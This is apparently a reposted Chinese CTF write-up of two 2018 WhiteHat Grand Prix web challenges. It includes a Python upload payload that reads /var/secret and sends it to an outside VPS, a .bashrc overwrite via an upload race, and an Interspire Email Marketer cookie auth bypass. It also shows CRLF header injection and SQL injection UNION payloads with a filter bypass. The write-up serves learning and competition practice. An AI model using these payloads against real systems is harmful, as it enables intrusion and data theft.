内容简介:昨晚听说有个国外的比赛叫whitehat,做了一会儿发现思路停滞,本打算今天再做,发现已经结束了,按老外的思路,走了一遍,还是挺有意思的题目都没关,大家还能趁热复现一下~~题目链接:
前言
昨晚听说有个国外的比赛叫whitehat,做了一会儿发现思路停滞,本打算今天再做,发现已经结束了,按老外的思路,走了一遍,还是挺有意思的
题目都没关,大家还能趁热复现一下~~
上传条件竞争与.bashrc
题目信息
题目链接:
http://web01.grandprix.whitehatvn.com/
题目描述
Description: manhndd is running a service file upload at web01.grandprix.whitehatvn.com, it is restored every 2 minutes. Every 1 minute after service starts, he ssh into server to check /var/secret. Can you get it? Note: Player shouldn't Dos web01, you can get source code and run in local
题干分析
刚拿到这道题的时候我走进了误区,题目给出了源代码
http://web01.grandprix.whitehatvn.com/SimpleHTTPServerWithUpload.py
看到 SimpleHTTPServer
,我的第一反应是ph写的这篇文章
https://www.leavesongs.com/PENETRATION/python-http-server-open-redirect-vulnerability.html
我简单的测试了这个跳转的问题
http://web01.grandprix.whitehatvn.com//example.com/%2f..
我发现的确可以成功跳转
我本以为这里可能会出现任意文件读取的问题,因为这里有flag的绝对路径/var/secret
但这里没有附带的框架来继承或者使用这个类,所以我们很难进行目录穿越的文件读取
毕竟不是 web.py
或者 django
胡乱摸索
想到这题本身是一个上传
我们随手测试一下,发现上传的目录是/opt
然后web会将目录列出来,我们可以任意访问该目录下的文件
我又尝试了一下目录穿越
发现没有写入权限
于是我尝试了一下tmp
发现部分目录是可写的
并且直接使用 /tmp/1.png
这样,甚至不需要 ../../
这样穿越
另辟蹊径
既然这一点不行,我注意到了题目的提示
Every 1 minute after service starts, he ssh into server to check /var/secret.
我当时错误的理解为了每1分钟会重启一次服务,并且鬼迷心窍的想到了另一方法
因为我发现上传的路径和 SimpleHTTPServerWithUpload.py
是同一个路径
当时我天真的以为,如果我在当前目录下上传一个文件名与 SimpleHTTPServerWithUpload.py
import的库名一致,就会被引入
所以我利用Burp不断上传一个名为 posixpath.py
的文件
内容为:
import requests import base64 f = open('/var/secret','rb').read() url = 'http://vps_ip:23333/?'+base64.b64encode(f) r = requests.get(url=url)
我天真的以为在重启的时候,应该会引入这个文件,并且将flag打到我的vps
这里我利用了条件竞争与文件上传,应该满足题目的意思了吧,应该这样就是正解啦?
但是最终还是以失败告终,我的vps纹丝不动,没收到任何东西
神来之笔
后来看到writeup,才发现是
bashrc profile
这里就要涉及到交互式 shell 和非交互式shell,login shell 和non-login shell
其中:
交互式模式就是shell等待你的输入,并且执行你提交的命令。这种模式被称作交互式是因为shell与用户进行交互。这种模式也是大多数用户非常熟悉的:登录、执行一些命令、退出。当你退出后,shell也终止了。
shell也可以运行在另外一种模式:非交互式模式。在这种模式下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结尾,shell也就终止了。
而bashrc与profile都用于保存用户的环境信息,bashrc用于non-loginshell,而profile用于login shell
所以这里 bashrc
可能可以成为一个突破口,因为该文件包含专用于某个用户的bash shell的bash信息,当该用户登录时以及每次打开新的shell时,该文件被读取
所以,如果我们能将 .bashrc
写到用户的目录下,在其每分钟打开ssh的时候,就会执行里面的命令,那么我们只要
cp /var/secret /opt/skysky
即可在当前目录下读到flag
我们首先测试一下,home有没有写权限
显然 /home
目录是不行的,那我们如何知道用户名呢?
还是那个不起眼的题目描述
manhndd is running a service file upload at web01.grandprix.whitehatvn.com
难道这人叫 manhndd
?
我们再试试
发现的确可以成功上传
那我们尝试覆盖上传.bashrc
用burp一边上传竞争覆盖,一边访问skysky这个文件
一段时间后即可收到flag
Interspire Email Marketer
题目信息
题目链接
http://web03.grandprix.whitehatvn.com:1337/
信息搜集
右键打开源代码,拉到最底下发现
<!--<label>@Buxu: Let's try to access admin page</label></br> -->
题目要求我们登入admin页面
按照这里题目给出的要出,我们输入
发现是404
那我们简单探测一下端口
如果端口开放
如果端口关闭
简单探测的结果为
发现8088有结果
应该是301跳转了,那我们加个index.php试试
保存成html页面,查看后发现
进一步思考
探测完端口,那么8088是什么服务的默认端口?还是说题目只是随便放在这个端口了?
若是,为什么不直接放在1337端口呢?
很快,我发现了自己的眼瞎= =
那页面里写着
Interspire Email Marketer
于是顺藤摸瓜搜了一下
没错,就是这个点非常瞩目
https://www.exploit-db.com/exploits/44513/
发现可以直接绕过admin的授权,即有这个cookie即可
IEM_CookieLogin=YTo0OntzOjQ6InVzZXIiO3M6MToiMSI7czo0OiJ0aW1lIjtpOjE1MDU0NzcyOTQ7czo0OiJyYW5kIjtiOjE7czo4OiJ0YWtlbWV0byI7czo5OiJpbmRleC5waHAiO30%3D
那我们如何发送cookie呢?
CRLF
这里的方案无意只有一点,即CRLF,因为path与host的拼接,这里很容易让人联想到能不能进行http头注入
于是我们简单构造为
{"url_path":"admin/index.php HTTP/1.1\r\nCookie: IEM_CookieLogin=YTo0OntzOjQ6InVzZXIiO3M6MToiMSI7czo0OiJ0aW1lIjtpOjE1MDU0NzcyOTQ7czo0OiJyYW5kIjtiOjE7czo4OiJ0YWtlbWV0byI7czo5OiJpbmRleC5waHAiO30%3D\r\n","host":"127.0.0.1:8088"}
访问发现
保存为html查看一下
我们成功登入了
到此为止,感到无奈
sql注入
而后看到writeup,才知道
https://www.exploit-db.com/exploits/37935/
还有一个漏洞可以利用,即 sql 注入(但是据说是非预期= =)
CVE中给出的payload是这样的
http://www.example.com/admin/index.php?Page=Addons&Addon=dynamiccontenttags&Action=Edit&id=-1%27+UNION+Select+1,2,3,4--%20- [SQLi] http://www.example.com/admin/index.php?Page=Addons&Addon=dynamiccontenttags&Action=Edit&id=-1%27+UNION+Select+1,version%28%29,3,4--%20-[SQLi]
那我们仿照进行攻击即可
{"url_path":"admin/index.php?Page=Addons&Addon=dynamiccontenttags&Action=Edit&id=-1%27+UNION+Select+1,2,3,4--%20- HTTP/1.1\r\nCookie: IEM_CookieLogin=YTo0OntzOjQ6InVzZXIiO3M6MToiMSI7czo0OiJ0aW1lIjtpOjE1MDU0NzcyOTQ7czo0OiJyYW5kIjtiOjE7czo4OiJ0YWtlbWV0byI7czo5OiJpbmRleC5waHAiO30%3D\r\n","host":"127.0.0.1:8088"}
发现有过滤,于是我们还是老规矩,用字典fuzz一下
发现过滤的很少,考虑这里可能会对path进行urldecode,所以尝试了一下url编码绕过
union %75nion
于是我们尝试
发现成功
注:由于有CVE,所以就不用测试列数了,就是4列
那我们去进行数据库探测,找到标志点
form_text" value="
方便后面我们取出数据,查看数据库名
查看表名
查看列名
读出数据
得到flag
WhiteHat{cbb66097f69c3938bfd4a157ab4ebe762a16c1b1}
参考链接
以上所述就是小编给大家介绍的《2018WhiteHat-web-复盘》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
无懈可击的Web设计
【美】Dan Cederholm / 马跃 / 清华大学出版社 / 2012-5 / 39.00元
本书将指导您采用标准设计策略来满足以各种方式浏览网页的各类用户的需要。每章首先列举一个沿用传统HTML技术的实例,然后指出该实例的局限性,并利用XHTML和CSS对其进行重构。从中您将学会如何用简洁高效的HTML标记和CSS来取代臃肿的代码,从而创建加载速度极快、能供所有用户使用的网站。本书最后将前面各章讨论的所有页面组件珠联璧合地结合在一起,制作了一个页面模板。这一版全面润色和更新了上一版本,介......一起来看看 《无懈可击的Web设计》 这本书的介绍吧!